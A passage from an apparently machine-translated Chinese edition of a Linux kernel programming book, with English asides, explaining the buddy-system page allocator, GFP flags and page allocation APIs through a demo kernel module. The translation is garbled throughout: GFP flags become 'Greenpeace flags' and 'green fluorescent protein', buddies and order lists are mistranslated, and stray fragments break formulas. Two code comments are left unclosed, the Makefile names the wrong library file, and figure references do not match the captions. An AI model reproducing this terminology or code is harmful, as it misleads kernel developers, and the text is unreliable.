size on order (17-1), thus of *216 = 65,536 pages = 512 MB chunks* of physically contiguous RAM on order 16 of the freelists, for a 4 KB page size). The IA-64 MMU supports up to eight page sizes ranging from a mere 4 KB right up to 256 MB. As another example, with a page size of 16 MB, the order 16 list could potentially have physically contiguous RAM chunks of size *65,536 * 16 MB = 1 TB* each! - -另一个关键点:内核保留**多个 BSA 自由列表——每个节点一个:系统上存在的区域!**这为在 NUMA 系统上分配内存提供了一种自然的方式。 - -下图显示了内核如何实例化多个自由列表–*每个节点一个:系统上存在的区域*(图学分:*专业 Linux 内核架构*,莫勒,Wrox Press,2008 年 10 月): - -![](img/c0fe0659-be5d-4ce4-afd3-48ed835b4a2c.png) - -Figure 8.4 – Page allocator (BSA) "freelists," one per node:zone on the system; diagram credit: Professional Linux Kernel Architecture, Mauerer, Wrox Press, Oct 2008 - -此外,如图 8.5 所示,当内核通过页面分配器被调用来分配内存时,它会选择最佳空闲列表来分配内存——这个列表与请求请求的线程运行的节点相关联(回想一下上一章的 NUMA 架构)。如果这个节点内存不足,或者由于某种原因无法分配内存,那么内核会使用一个后备列表来确定尝试从哪个空闲列表中分配内存。(现实中,真实的画面更加复杂;我们在*页面分配器内部提供了更多细节–更多细节*部分。) - -现在让我们理解(在概念上)所有这些实际上是如何工作的。 - -### 页面分配器的工作原理 - -实际的(去)分配策略可以用一个简单的例子来解释。假设一个设备驱动程序请求 128 KB 的内存。为了满足这个请求,(简化的和概念性的)页面分配器算法将这样做: - -1. 该算法以页为单位表示要分配的数量(此处为 128 KB)。因此,这里是(假设页面大小 4 KB) *128/4 = 32 页*。 -2. 接下来,它确定必须将 2 的幂提高到多少才能得到 32。那是*log**2**32*,也就是 5(因为 2 5 是 32)。 -3. 现在,它检查适当的*节点顺序 5 上的列表:区域*页面分配器自由列表。如果内存块可用(其大小为*2**T5**页面= 128 KB* ,将其从列表中出列,更新列表,并将其分配给请求者。任务完成!回复来电者。 - -Why do we say *of the appropriate node:zone* *page allocator freelist*? Does that mean there's more than one of them? Yes, indeed! We repeat: the reality is that there will be several freelist data structures, one each per *node:zone* on the system. (Also see more details in the section *Page allocator internals – a few more details*.) - -4. 如果在顺序 5 列表中没有可用的内存块(也就是说,如果它为空),那么它在下一个顺序中检查列表;也就是顺序 6 链表(如果不是空的,它会有 *2 6* *页面= 256 KB* 内存块在上面排队,每个块都是我们想要的大小的两倍)。 -5. 如果 order 6 列表为非空,那么它将从其中取出(出列)一大块内存(大小为 256 KB,是所需大小的两倍),并执行以下操作: - * 更新列表以反映一个块现在被移除的事实。 - * 把组块切成两半,这样就得到两个 128 KB 的一半或者**哥们**!(请参见以下信息框。) - * 将一半(大小为 128 KB)迁移(入队)到订单 5 列表。 - * 将另一半(大小为 128 KB)分配给请求者。 - * 任务完成!回复来电者。 -6. 如果顺序 6 列表也是空的,那么它用顺序 7 列表重复前面的过程,以此类推,直到成功。 -7. 如果所有剩余的高阶列表都为空(null),则请求将失败。 - -We can cut or slice a memory chunk in half because every chunk on the list is guaranteed to be physically contiguous memory. Once cut, we have two halves; each is called a **buddy block**, hence the name of this algorithm. Pedantically, it's called the binary buddy system as we use power-of-2-sized memory chunks. A buddy block is defined as a block that is of the same size and physically adjacent to another. - -你会明白前面的描述是概念性的。实际的代码实现当然更加复杂和优化。顺便说一句,代码——正如评论中提到的那样,分区好友分配器*的*核心在这里:`mm/page_alloc.c:__alloc_pages_nodemask()`。超出了本书的范围,我们不会试图深入分配器的代码级细节。** - - *### 通过几个场景 - -既然我们已经有了算法的基础,让我们考虑几个场景:首先,一个简单直接的例子,然后,几个更复杂的例子。 - -#### **最简单的情况** - -假设内核空间设备驱动程序(或一些核心代码)请求 128 KB,并从自由列表数据结构之一的 5 阶列表中接收内存块。在稍后的某个时间点,它将通过使用一个页面分配器释放 API 来释放内存块。现在,这个应用编程接口的算法通过其顺序计算出刚刚释放的块属于顺序 5 列表;因此,它在那里排队。 - -#### **更复杂的情况** - -现在,假设与前面的简单情况不同,当设备驱动程序请求 128 KB 时,订单 5 列表为空;因此,根据页面分配器算法,我们转到下一个顺序的列表 6,并检查它。假设它是非空的;该算法现在将一个 256 KB 的数据块出列,并将其拆分(或切割)成两半。现在,一半(大小为 128 KB)给了请求者,剩下的一半(同样大小为 128 KB)被排队到订单 5 列表中。 - -伙伴系统真正有趣的特性是当请求者(设备驱动程序)在稍后的某个时间点释放内存块时会发生什么。正如预期的那样,算法计算(通过其顺序)刚刚释放的块属于顺序 5 列表。但是在那里盲目入队之前,**它寻找它的伙伴块**,在这种情况下,它(可能)找到了!现在,它将两个伙伴块合并成一个更大的块(大小为 256 KB),并将合并后的块放入*订单 6* 列表中。这太棒了——它实际上帮助整理了内存! - -#### **败落案** - -现在让我们不要使用方便的 2 次方大小作为要求,让它变得有趣起来。这一次,假设设备驱动程序请求大小为 132 KB 的内存块。好友系统分配器会怎么做?当然,由于它分配的内存不能少于请求的数量,所以它分配了更多的内存——你猜对了(参见*图 8.2* ,下一个可用的内存块是 7 阶的,大小为 256 KB。但是消费者(驱动程序)只会看到并使用分配给它的 256 KB 区块中的第一个 132 KB。剩下的(124 KB)浪费了(想想看,那接近 50%的浪费!).这叫**内部碎片化(或损耗)**是二元哥们系统的致命败笔! - -You will learn, though, that there is indeed a mitigation to this: a patch was contributed to deal with similar scenarios (via the `alloc_pages_exact() / free_pages_exact()` APIs). We will cover the APIs to use the page allocator shortly. - -### 页面分配器内部——更多细节 - -在本书中,我们不打算深入研究页面分配器内部的代码级细节。话虽如此,事情是这样的:就数据结构而言,`zone`结构包含一组`free_area`结构。这是有道理的;如您所知,系统上可以(通常是)有多个页面分配器空闲列表,每个节点一个: - -```sh -// include/linux/mmzone.h -struct zone { - [ ... ] - /* free areas of different sizes */ - struct free_area free_area[MAX_ORDER]; - [ ... ] -}; -``` - -`free_area`结构是双向链接循环列表(该节点区域内的空闲内存页面帧)以及当前空闲页面帧数量的实现; - -```sh -struct free_area { - struct list_head free_list[MIGRATE_TYPES]; - unsigned long nr_free; -}; -``` - -为什么它是一个链表数组而不仅仅是一个列表?在不深究细节的情况下,我们会提到,实际上,好友系统 freelist 的内核布局比我们到目前为止所了解到的还要复杂:从 2.6.24 内核开始,我们看到的每个 freelist 实际上都被进一步细分为多个 freelist,以迎合不同的*页面迁移类型*。当试图保持内存碎片整理时,这是处理复杂情况所必需的。除此之外,如前所述,这些自由列表存在于系统上的每个*节点:区域*。例如,在一个有 4 个节点和每个节点 3 个区域的实际 NUMA 系统上,将有 12 个(4 x 3)自由列表。不仅如此,每个自由列表实际上被进一步细分为 6 个自由列表,每个迁移类型一个。因此,在这样一个系统中,总共有 *6 x 12 = 72* 个自由列表数据结构存在于整个系统中! - -If you are interested, dig into the details and check out the output of `/proc/buddyinfo` – a nice summary view of the state of the buddy system freelists (as Figure 8.3 shows). Next, for a more detailed and realistic view (of the type mentioned previously, showing *all* the freelists), look up `/proc/pagetypeinfo` (requires root access) – it shows all the freelists (broken up into page migration types as well). - -页面分配器(伙伴系统)算法的设计是最适合的类之一。它的主要好处是在系统运行时帮助整理物理内存。简单来说,它的利弊如下。 - -页面分配器(伙伴系统)算法的优点如下: - -* 帮助整理内存碎片(防止外部碎片) -* 保证物理上连续的内存块的分配 -* 保证中央处理器高速缓存行对齐的内存块 -* 快(嗯,够快;算法时间复杂度为 *O(log n)* ) - -另一方面,到目前为止最大的缺点是内部分裂或浪费可能太高。 - -好极了。我们已经介绍了大量关于页面或伙伴系统分配器内部工作的背景材料。动手的时间到了:现在让我们深入了解并使用页面分配器 API 来分配和释放内存。 - -## 学习如何使用页面分配器 API - -Linux 内核通过页面分配器提供(向内核和模块公开)一组分配和释放内存的应用编程接口。这些通常被称为低级(去)分配器例程。下表总结了页面分配 APIs 你会注意到所有的 API 或者宏都有两个参数,第一个参数叫做 *GFP 标志或者位掩码*;我们将很快详细解释它,请暂时忽略它。第二个参数是`order`*——自由列表的顺序,也就是分配的内存量是 2 顺序页框。所有原型可在`include/linux/gfp.h`中找到:* - - *| **API 或宏名称** | **评论** | **API 签名或宏** | -| `__get_free_page()` | 只分配一个页面框架。分配的内存将具有随机内容;它是`__get_free_pages()` API 的包装器。返回值是指向刚刚分配的内存的内核逻辑地址的指针。 | `#define __get_free_page(gfp_mask) \ __get_free_pages((gfp_mask), 0)` | -| `__get_free_pages()` | 分配 *2 顺序T3】物理上连续的页面框架。分配的内存将具有随机内容;返回值是指向刚刚分配的内存内核逻辑地址的指针。* | `unsigned long __get_free_pages(gfp_t gfp_mask, unsigned int order);` | -| `get_zeroed_page()` | 只分配一个页面框架;其内容设置为 ASCII 零(`NULL`;也就是说,它归零了);返回值是指向刚刚分配的内存内核逻辑地址的指针。 | `unsigned long get_zeroed_page(gfp_t gfp_mask);` | -| `alloc_page()` | 只分配一个页面框架。分配的内存将具有随机内容;`alloc_pages()`应用编程接口的包装;返回值是指向刚刚分配的内存的`page`元数据结构的指针;可以通过`page_address()`函数将其转换为内核逻辑地址。 | `#define alloc_page(gfp_mask) \ alloc_pages(gfp_mask, 0)` | -| `alloc_pages()` | 分配 *2 顺序T5】物理上连续的页面框架。分配的内存将具有随机内容;返回值是指向刚分配的内存的`page`元数据结构的开始的指针;可以通过`page_address()`函数将其转换为内核逻辑地址。* | `struct page * -alloc_pages(gfp_t gfp_mask, unsigned int order);` | - -Table 8.1 – Low-level (BSA/page) allocator – popular exported allocation APIs - -所有前面的 API 都被导出(通过`EXPORT_SYMBOL()`宏),因此内核模块和设备驱动程序开发人员可以使用。别担心,你很快就会看到一个演示使用它们的内核模块。 - -Linux 内核认为维护一个(小的)元数据结构来跟踪内存的每一页帧是值得的。这叫做`page`结构。这里的要点是,要小心:与返回指向新分配的内存块开始的指针(虚拟地址)的通常语义不同,请注意前面提到的`alloc_page()`和`alloc_pages()`API 是如何返回指向新分配的内存页面结构开始的指针的,而不是内存块本身(就像其他 API 一样)。您必须通过调用返回的页面结构地址上的`page_address()`应用编程接口来获取指向新分配内存开始的实际指针。*中的示例代码使用页面分配器应用接口*部分编写一个内核模块来演示将说明所有上述应用接口的用法。 - -然而,在我们能够使用这里提到的页面分配器 API 之前,我们必须至少了解关于**获取免费页面** ( **GFP** )标志的基础知识,这是接下来部分的主题。 - -### 处理绿色和平旗帜 - -您会注意到所有先前分配器 API(或宏)的第一个参数是`gfp_t gfp_mask`。这是什么意思?本质上,这些是绿色荧光蛋白标志*。*这些是内核内部内存管理代码层使用的标志(有几个)。出于所有实际目的,对于典型的内核模块(或设备驱动程序)开发人员来说,只有两个 GFP 标志是至关重要的(如前所述,其余的用于内部使用)。它们如下: - -* `GFP_KERNEL` -* `GFP_ATOMIC` - -当通过页面分配器 API 执行内存分配时,决定使用哪一个很重要;要永远记住的一个关键规则如下: - -*如果在进程上下文中并且可以安全睡眠,使用 GFP_KERNEL 标志。如果睡眠不安全(通常是在任何类型的原子或中断上下文中),则必须使用 GFP_ATOMIC 标志。* - -遵循前面的规则至关重要。如果做错了,可能会导致整个机器冻结、内核崩溃和/或随机的坏事情发生。那么*安全/不安全睡觉*的说法到底是什么意思呢?为了这个和更多,我们遵从*GFP 旗帜-深入挖掘*部分。虽然*很重要,但*真的很重要,所以我绝对推荐你读一下。 - -**Linux Driver Verification** (**LDV**) project: back in [Chapter 1](01.html), *Kernel Workspace Setup*, in the The LDV - Linux Driver Verification - project section, we mentioned that this project has useful "rules" with respect to various programming aspects of Linux modules (drivers, mostly) as well as the core kernel. - -With regard to our current topic, here's one of the rules, a negative one, implying that you *cannot* do this: *"Using a blocking memory allocation when spinlock is held"* ([http://linuxtesting.org/ldv/online?action=show_rule&rule_id=0043](http://linuxtesting.org/ldv/online?action=show_rule&rule_id=0043)). When holding a spinlock, you're not allowed to do anything that might block; this includes kernel-space memory allocations. Thus, very important, you must use the `GFP_ATOMIC` flag when performing a memory allocation in any kind of atomic or non-blocking context, like when holding a spinlock (you will learn that this isn't the case with the mutex lock; you are allowed to perform blocking activities while holding a mutex). Violating this rule leads to instability and even raises the possibility of (an implicit) deadlock. The LDV page mentions a device driver that was violating this very rule and the subsequent fix ([https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5b0691508aa99d309101a49b4b084dc16b3d7019](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5b0691508aa99d309101a49b4b084dc16b3d7019)). Take a look: the patch clearly shows (in the context of the `kzalloc()` API, which we shall soon cover) the `GFP_KERNEL` flag being replaced with the `GFP_ATOMIC` flag. - -另一个常用的 GFP 标志是`__GFP_ZERO`。它的用法暗示内核你想要清零的内存页面。它通常与`GFP_KERNEL`或`GFP_ATOMIC`标志按位“或”,以便将初始化的内存返回到零。 - -The kernel developers do take the trouble to document the GFP flags in detail. Take a look in `include/linux/gfp.h`. Within it, there's a long and detailed comment; it's headed `DOC: Useful GFP flag combinations`. - -现在,为了让我们快速入门,请理解使用带有`GFP_KERNEL`标志的 Linux 内核内存分配 API 确实是内核内部分配的常见情况。 - -### 用页面分配器释放页面 - -当然,分配内存的另一面是释放内存。内核中的内存泄漏绝对不是你想造成的。对于*表 8.1**所示的页面分配器 API,这里有相应的免费 API:* - - *| **API 或宏名称** | comment | **API 签名或宏** | -| `free_page()` | 释放通过`__get_free_page()`、`get_zeroed_page()`或`alloc_page()`API 分配的(单个)页面;这是对`free_pages()`应用编程接口的简单包装 | `#define free_page(addr) __free_pages((addr), 0)` | -| `free_pages()` | 释放通过`__get_free_pages()`或`alloc_pages()`API 分配的多个页面(它实际上是`__free_pages()`的包装器)。) | `void free_pages(unsigned long addr, unsigned int order)` | -| `__free_pages()` | (*同上一行,加上*)这是完成工作的基础例程;另外,注意第一个参数是指向`page`元数据结构的指针。 | `void __free_pages(struct page *page, unsigned int order)` | - -Table 8.2 – Common free page(s) APIs to use with the page allocator - -可以看到前面函数中实际的底层 API 是`free_pages()`,它本身只是`mm/page_alloc.c:__free_pages()`代码的一个包装器。`free_pages()`应用编程接口的第一个参数是指向被释放的内存块的开始的指针;这当然是分配例程的返回值。然而,底层 API 的第一个参数`__free_pages()`是指向正在被释放的内存块的开始的*页面*元数据结构的指针。 - -Generally speaking, unless you really know what you are doing, you're definitely advised to invoke the `foo()` wrapper routine and not its internal `__foo()` routine. One reason to do so is simply correctness (perhaps the wrapper uses some necessary synchronization mechanism - like a lock - prior to invoking the underlying routine). Another reason to do so is validity checking (which helps code remain robust and secure). *O*ften, the `__foo()` routines bypass validity checks in favor of speed. - -所有有经验的 C/C++应用开发人员都知道,分配和随后释放内存是一个丰富的 bug 来源!这主要是因为就内存而言,C 是一种非托管语言;因此,你可以找到各种各样的内存缺陷。其中包括众所周知的内存泄漏、读/写缓冲区溢出/下溢、双自由以及**空闲后使用** ( **UAF** )错误。 - -不幸的是,在内核空间中没有什么不同;只是后果(要)糟糕得多!格外小心!请务必确保以下几点: - -* 支持将分配的内存初始化为零的例程。 -* 在执行分配时,考虑并使用适当的 GFP 标志——在*GFP 标志——深入研究*一节中对此有更多说明,但简单地说,请注意以下几点: - * 当处于可以安全睡眠的过程环境中时,使用`GFP_KERNEL`。 - * 在原子上下文中,如处理中断时,使用`GFP_ATOMIC`。 -* 当使用页面分配器时(就像我们现在所做的那样),尽可能保持分配大小为 2 的整数次方(同样,这背后的原理和减轻这种情况的方法——当你不需要那么多内存时,典型的情况——将在本章后面的章节中详细介绍)。 -* 您只尝试释放之前分配的内存;不用说,不要错过释放它,也不要双重释放它。 -* 保持原始内存块的指针安全,不被重用、操纵(`ptr ++`或类似的东西)和损坏,以便在完成后可以正确释放它。 -* 检查(并重新检查!)传递给 API 的参数。是需要指向先前分配的块的指针,还是指向其底层`page`结构的指针? - -Finding it difficult and/or worried about issues in production? Don't forget, you have help! Do learn how to use powerful static analysis tools found within the kernel itself (Coccinelle, `sparse` and others, such as `cppcheck` or `smatch`). For dynamic analysis, learn how to install and use **KASAN** (the **Kernel Address Sanitizer**). - -Recall the Makefile template I provided in [Chapter 5](05.html), *Writing Your First Kernel Module – LKMs Part 2*, in the *A better Makefile template* section. It contains targets that use several of these tools; please do use it! - -好了,现在我们已经讨论了页面分配器的(通用)分配和免费 API,是时候将这些知识付诸实践了。让我们写一些代码! - -### 使用页面分配器 API 编写内核模块进行演示 - -现在让我们开始接触到目前为止我们已经了解到的低级页面分配器和免费 API。在这一节中,我们将展示相关的代码片段,然后是来自我们的演示内核模块(`ch8/lowlevel_mem/lowlevel_mem.c`)的解释。 - -在我们的小 LKM 的初级工作例程`bsa_alloc()`中,我们突出显示了(粗体)代码注释,这些注释显示了我们正在努力实现的目标。需要注意的几点: - -1. 首先,我们做了一件非常有趣的事情:我们使用我们的小内核“库”函数`klib_llkd.c:show_phy_pages()`来字面上向您展示物理 RAM 页面帧是如何在内核 lowmem 区域中被标识映射到内核虚拟页面的!(很快将讨论`show_phy_pages()`例程的确切工作方式): - -```sh -// ch8/lowlevel_mem/lowlevel_mem.c -[...] -static int bsa_alloc(void) -{ - int stat = -ENOMEM; - u64 numpg2alloc = 0; - const struct page *pg_ptr1; - - /* 0\. Show the identity mapping: physical RAM page frames to kernel virtual - * addresses, from PAGE_OFFSET for 5 pages */ - pr_info("%s: 0\. Show identity mapping: RAM page frames : kernel virtual pages :: 1:1\n", OURMODNAME); - show_phy_pages((void *)PAGE_OFFSET, 5 * PAGE_SIZE, 1); -``` - -2. 接下来,我们通过底层的`__get_free_page()`页面分配器 API(我们之前在*表 8.1* 中看到的)分配一页内存: - -```sh - /* 1\. Allocate one page with the __get_free_page() API */ - gptr1 = (void *) __get_free_page(GFP_KERNEL); - if (!gptr1) { - pr_warn("%s: __get_free_page() failed!\n", OURMODNAME); - /* As per convention, we emit a printk above saying that the - * allocation failed. In practice it isn't required; the kernel - * will definitely emit many warning printk's if a memory alloc - * request ever fails! Thus, we do this only once (here; could also - * use the WARN_ONCE()); from now on we don't pedantically print any - * error message on a memory allocation request failing. */ - goto out1; - } - pr_info("%s: 1\. __get_free_page() alloc'ed 1 page from the BSA @ %pK (%px)\n", - OURMODNAME, gptr1, gptr1); -``` - -注意我们如何发出一个显示内核逻辑地址的`printk`函数。回想一下上一章,这是页面分配器内存,位于内核段/VAS 的直接映射内存或低内存区域。 - -Now, for security, we should consistently, and only, use the `%pK` format specifier when printing kernel addresses so that a hashed value and not the real virtual address shows up in the kernel logs. However, here, in order to show you the actual kernel virtual address, we also use the `%px` format specifier (which, like the `%pK`, is portable as well; for security, please don't use the `%px` format specifier in production!). - -接下来,注意第一个`__get_free_page()` API(在前面的片段中)发出后的详细注释。它提到了这样一个事实,即您不必打印内存不足的错误或警告消息。(好奇?要了解原因,请访问[https://lkml.org/lkml/2014/6/10/382](https://lkml.org/lkml/2014/6/10/382)。)在这个示例模块中(和前面的几个模块一样,接下来还会有更多模块),我们通过使用适当的 printk 格式说明符(如`%zd`、`%zu`、`%pK`、`%px`和`%pa`)为可移植性对我们的 printk(或`pr_foo()`宏)实例进行编码。 - -3. 让我们继续使用页面分配器进行第二次内存分配;请参见下面的代码片段: - -```sh -/*2\. Allocate 2^bsa_alloc_order pages with the __get_free_pages() API */ - numpg2alloc = powerof(2, bsa_alloc_order); // returns 2^bsa_alloc_order - gptr2 = (void *) __get_free_pages(GFP_KERNEL|__GFP_ZERO, bsa_alloc_order); - if (!gptr2) { - /* no error/warning printk now; see above comment */ - goto out2; - } - pr_info("%s: 2\. __get_free_pages() alloc'ed 2^%d = %lld page(s) = %lld bytes\n" - " from the BSA @ %pK (%px)\n", - OURMODNAME, bsa_alloc_order, powerof(2, bsa_alloc_order), - numpg2alloc * PAGE_SIZE, gptr2, gptr2); - pr_info(" (PAGE_SIZE = %ld bytes)\n", PAGE_SIZE); -``` - -在前面的代码片段中(参见代码注释),我们已经通过页面分配器的`__get_free_pages()` API 分配了 2 3 ,也就是 8 页内存(作为我们模块参数`bsa_alloc_order`的默认值,是`3`)。 - -An aside: notice that we use the `GFP_KERNEL|__GFP_ZERO` GFP flags to ensure that the allocated memory is zeroed out, a best practice. Then again, zeroing out large memory chunks can result in a slight performance hit. - -现在,我们问自己这样一个问题:有没有一种方法可以验证内存是否真的是物理连续的(就像承诺的那样)?事实证明,是的,我们实际上可以检索并打印出每个分配的页面帧开始的物理地址,并检索其**页面帧号** **(PFN** **)** 。 - -The **PFN** is a simple concept: it's just the index or page number – for example, the PFN of physical address 8192 is 2 (*8192/4096*). As we've shown how to (and importantly, when you can) translate kernel virtual addresses to their physical counterparts earlier (and vice versa; this coverage is in [Chapter 7](07.html), *Memory Management Internals – Essentials*, in the *Direct-mapped RAM and address translation* section), we won't repeat it here. - -为了完成将虚拟地址转换为物理地址并检查连续性的工作,我们编写了一个小的“库”函数,它保存在本书 GitHub 源代码树根的一个单独的 C 文件中,`klib_llkd.c`。我们的意图是修改我们的内核模块的 Makefile 来链接这个库文件的代码!(在*通过多个源文件执行库仿真*一节中的[第 5 章](05.html)、*编写您的第一个内核模块–LKMs 第 2 部分*中已经介绍了正确执行此操作。)下面是我们对库例程的调用(就像在步骤 0 中所做的那样): - -```sh -show_phy_pages(gptr2, numpg2alloc * PAGE_SIZE, 1); -``` - -以下是我们库例程的代码(在`/klib_llkd.c`源文件中;同样,为了清楚起见,我们不会在这里显示整个代码): - -```sh -// klib_llkd.c -[...] -/* show_phy_pages - show the virtual, physical addresses and PFNs of the memory range provided on a per-page basis. - * @kaddr: the starting kernel virtual address - * @len: length of the memory piece (bytes) - * @contiguity_check: if True, check for physical contiguity of pages - * 'Walk' the virtually contiguous 'array' of pages one by one (that is, page by page), - * printing the virt and physical address (and PFN- page frame number). This way, we can see - * if the memory really is *physically* contiguous or not - */ -void show_phy_pages(const void *kaddr, size_t len, bool contiguity_check) -{ - [...] - if (len % PAGE_SIZE) - loops++; - for (i = 0; i < len/PAGE_SIZE; i++) { - pa = virt_to_phys(vaddr+(i*PAGE_SIZE)); - pfn = PHYS_PFN(pa); - - if (!!contiguity_check) { - /* what's with the 'if !!() ...' ?? - * a 'C' trick: ensures that the if condition always evaluates - * to a boolean - either 0 or 1 */ - if (i && pfn != prev_pfn + 1) - pr_notice(" *** physical NON-contiguity detected ***\n"); - } - pr_info("%05d 0x%px %pa %ld\n", i, vaddr+(i*PAGE_SIZE), &pa, pfn); - if (!!contiguity_check) - prev_pfn = pfn; - } -} -``` - -研究前面的函数。我们遍历给定的内存范围,(虚拟)一页接一页,获得物理地址和 PFN,然后通过 printk 发出(注意我们如何使用`%pa`格式说明符端口打印一个*物理地址* -它需要通过引用传递)。不仅如此,如果第三个参数`contiguity_check`*是`1`,我们会检查 pfn 之间是否只有一个数字的间隔,从而检查页面在物理上是否确实是连续的。(顺便说一下,我们使用的简单`powerof()`函数也在我们的库代码中。)* - -*Hang on, though, a key point: having kernel modules working with physical addresses is *highly discouraged*. Only the kernel's internal memory management code works directly with physical addresses. There are very few real-world cases of even hardware device drivers using physical memory directly (DMA is one, and using the `*ioremap*` APIs another). - -We only do so here to prove a point – that the memory allocated by the page allocator (with a single API call) is physically contiguous. Also, do realize that the `virt_to_phys()`(and friends) APIs that we employ are guaranteed to work *only* on direct-mapped memory (the kernel lowmem region) and nothing else (not the `vmalloc` range, the IO memory ranges, bus memory, DMA buffers, and so on). - -4. 现在,让我们继续内核模块代码: - -```sh - /* 3\. Allocate and init one page with the get_zeroed_page() API */ - gptr3 = (void *) get_zeroed_page(GFP_KERNEL); - if (!gptr3) - goto out3; - pr_info("%s: 3\. get_zeroed_page() alloc'ed 1 page from the BSA @ %pK (%px)\n", - OURMODNAME, gptr3, gptr3); -``` - -正如在前面的片段中看到的,我们分配了一页内存,但是通过使用 PA `get_zeroed_page()` API 确保它被清零。`pr_info()`显示散列的和实际的 kva(使用`%pK`或`%px`也以可端口的方式打印地址,无论您运行的是 32 位还是 64 位系统。) - -5. 接下来,我们用`alloc_page()` API 分配一个页面。小心点!它不返回指向已分配页面的指针,而是返回指向表示已分配页面的元数据结构`page`的指针;下面是函数签名:`struct page * alloc_page(gfp_mask)`。因此,我们使用`page_address()`助手将其转换为内核逻辑(或虚拟)地址: - -```sh -/* 4\. Allocate one page with the alloc_page() API. - pg_ptr1 = alloc_page(GFP_KERNEL); - if (!pg_ptr1) - goto out4; - - gptr4 = page_address(pg_ptr1); - pr_info("%s: 4\. alloc_page() alloc'ed 1 page from the BSA @ %pK (%px)\n" - " (struct page addr=%pK (%px)\n)", - OURMODNAME, (void *)gptr4, (void *)gptr4, pg_ptr1, pg_ptr1); -``` - -在前面的代码片段中,我们通过`alloc_page()` PA API 分配了一页内存。如上所述,我们需要通过`page_address()` API 将它返回的页面元数据结构转换成 KVA(或内核逻辑地址)。 - -6. 接下来,使用`alloc_pages()` API 分配和`init`T2】2^3 = 8 页。与前面代码片段相同的警告也适用于此: - -```sh - /* 5\. Allocate and init 2^3 = 8 pages with the alloc_pages() API. - gptr5 = page_address(alloc_pages(GFP_KERNEL, 3)); - if (!gptr5) - goto out5; - pr_info("%s: 5\. alloc_pages() alloc'ed %lld pages from the BSA @ %pK (%px)\n", - OURMODNAME, powerof(2, 3), (void *)gptr5, (void *)gptr5); -``` - -在前面的代码片段中,我们组合了包装在`page_address()` API 中的`alloc_pages()`来分配 *2^3 = 8* 页的内存! - -有趣的是,我们在代码中使用了几个本地`goto`语句(请查看回购中的代码)。仔细观察它,你会注意到它实际上保持了错误处理代码路径的干净和逻辑。这确实是 Linux 内核编码风格指南的一部分。 - -Usage of the (sometimes controversial) `goto` is clearly documented right here: [https://www.kernel.org/doc/html/v5.4/process/coding-style.html#centralized-exiting-of-functions](https://www.kernel.org/doc/html/v5.4/process/coding-style.html#centralized-exiting-of-functions). I urge you to check it out! Once you understand the usage pattern, you'll find that it helps reduce the all-too-typical memory leakage (and similar) cleanup errors! - -7. 最后,在清理方法中,在从内核内存中移除之前,我们会释放刚刚在内核模块的清理代码中分配的所有内存块。 -8. 为了将我们的库`klib_llkd`代码与我们的`lowlevel_mem` 内核模块链接起来,Makefile 更改为具有以下内容(回想一下我们在[第 5 章](05.html)、*编写您的第一个内核模块–LKMs 第 2 部分*中的*通过多个源文件执行库仿真*一节中了解到的将多个源文件编译到单个内核模块中的内容): - -```sh - PWD := $(shell pwd) - obj-m += lowlevel_mem_lkm.o - lowlevel_mem_lkm-objs := lowlevel_mem.o ../../klib_lkdc.o - EXTRA_CFLAGS += -DDEBUG -``` - -同样,在这个 LKM 示例中,我们经常使用`%px` printk 格式说明符,这样我们就可以看到实际的虚拟地址,而不是散列值(内核安全特性)。这里没问题,但不要在生产中这样做。 - -唷!这是相当多的报道。一定要确保你理解代码,然后继续阅读,看看它在行动。 - -### 部署我们的底层内存内核模块 - -好了,是时候看看我们的内核模块了!让我们在树莓 Pi 4(运行默认树莓 Pi 操作系统)和 x86_64 虚拟机(运行 Fedora 31)上构建和部署它。 - -在树莓 Pi 4 模型 B 上(这里运行树莓 Pi 内核版本 5.4.79-v7l+),我们构建然后`insmod(8)`我们的`lowlevel_mem_lkm` 内核模块。以下屏幕截图显示了输出: - -![](img/16618eff-3a73-4cdc-91a0-a198c5fe4700.png) - -Figure 8.5 – The lowlevel_mem_lkm kernel module's output on a Raspberry Pi 4 Model B - -快看。在图 8.6 输出的第 0 步中,我们的`show_phy_pages()`库例程清楚地显示了 KVA `0xc000 0000`有 PA `0x0`,KVA `0xc000 1000`有 pa `0x1000`等等,共五页(连同右边的 PFN);你可以看到物理 RAM 页面帧到内核虚拟页面的 1:1 身份映射(在内核段的 lowmem 区域)! - -接下来,使用`__get_free_page()`应用编程接口的初始内存分配按预期进行。更有趣的是我们的案例 2。在这里,我们可以清楚地看到,每个分配页面的物理地址和 PFN(从 0 到 7,总共 8 个页面)是连续的,这表明分配的内存页面确实是物理连续的! - -我们在运行 Ubuntu 20.04 的 x86_64 虚拟机上构建并运行相同的模块(运行我们定制的 5.4“调试”内核)。以下屏幕截图显示了输出: - -![](img/196e090d-1ed4-4c4e-9bc0-cdbefd40c57c.png) - -Figure 8.6 – The lowlevel_mem_lkm kernel module's output on a x86_64 VM running Ubuntu 20.04 - -这一次(参考图 8.7),由于`PAGE_OFFSET`值是 64 位的量(这里的值是`0xffff 8880 0000 0000`),你可以再次清楚地看到物理 RAM 帧到内核虚拟地址的身份映射(5 页)。让我们花点时间仔细看看页面分配器 API 返回的内核逻辑地址。在图 8.7 中,可以看到它们都在`0xffff 8880 .... ....`范围内。以下片段来自`Documentation/x86/x86_64/mm.txt`的内核源代码树,记录了 x86_64 上的虚拟内存布局(一部分): - -If this all seems new and strange to you, please refer to [Chapter 7](07.html), *Memory Management Internals – Essentials*, particularly the *Examining the kernel segment* and *Direct-mapped RAM and address translation* sections. - -```sh -0000000000000000 - 00007fffffffffff (=47 bits) user space, different per mm hole caused by [47:63] sign extension -ffff800000000000 - ffff87ffffffffff (=43 bits) guard hole, reserved for hypervisor -ffff880000000000 - ffffc7ffffffffff (=64 TB) direct mapping of all phys. memory -ffffc80000000000 - ffffc8ffffffffff (=40 bits) hole -ffffc90000000000 - ffffe8ffffffffff (=45 bits) vmalloc/ioremap space -``` - -很清楚,不是吗?页面分配器内存(伙伴系统空闲列表)直接映射到内核 VAS 的直接映射或低内存区域内的空闲物理内存上。因此,它显然会从这个区域返回内存。您可以在前面的文档输出中看到这个区域(以粗体突出显示)——内核直接映射或 lowmem 区域。我再次强调一个事实,即所使用的特定地址范围是非常特定的。在前面的代码中,这是 x86_64 上的(最大可能)范围。 - -尽管声称页面分配器和它的 API 已经完成很有诱惑力,但事实是(像往常一样)情况并非如此。一定要读下去,看看为什么——理解这些方面真的很重要。 - -### 页面分配器和内部碎片 - 